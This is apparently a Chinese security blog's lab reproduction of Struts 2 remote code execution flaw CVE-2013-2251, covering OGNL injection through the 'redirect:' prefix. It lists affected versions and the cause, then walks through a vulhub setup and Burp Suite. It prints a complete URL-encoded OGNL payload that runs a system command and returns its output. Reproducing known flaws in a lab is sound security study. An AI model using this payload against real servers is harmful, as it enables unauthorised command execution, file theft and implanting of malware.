Apache Struts 2 远程代码执行漏洞 CVE-2013-2251
影响范围
- Struts 2.0.0 - 2.3.15
漏洞类型
OGNL 表达式注入
操作系统限制
无
配置要求
默认配置
漏洞利用
执行命令,可以执行各种敏感操作,例如任意文件读取,植入木马,内网探测
利用原理
在 Struts2 中,DefaultActionMapper 类支持以” action:”、” redirect:”、” redirectAction” 作为导航或重定向过滤,在这些前缀后面可以加入 OGNL 表达式,Struts2 没有对这些前缀做过滤,可以利用 OGNL 表达式调用 Java 静态方法执行任意系统命令
漏洞复现
用现成的 vulhub 来拉取镜像
1 | #下载vulhub源代码 |

访问 http://公网: 8080,出现 Hello world 即搭建成功

用 burpsuite 抓取 http://公网: 8080/index.action 数据包

发送到 Repeater 模块

在 action 后添加 payload,括号已经经过 url 编码
1 | ?redirect:%24%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B'id'%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3D(new%20java.io.InputStreamReader(%23b))%2C%23d%3D(new%20java.io.BufferedReader(%23c))%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D |

发送后页面出现 id 结果

本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Johan的秘密小窝!
评论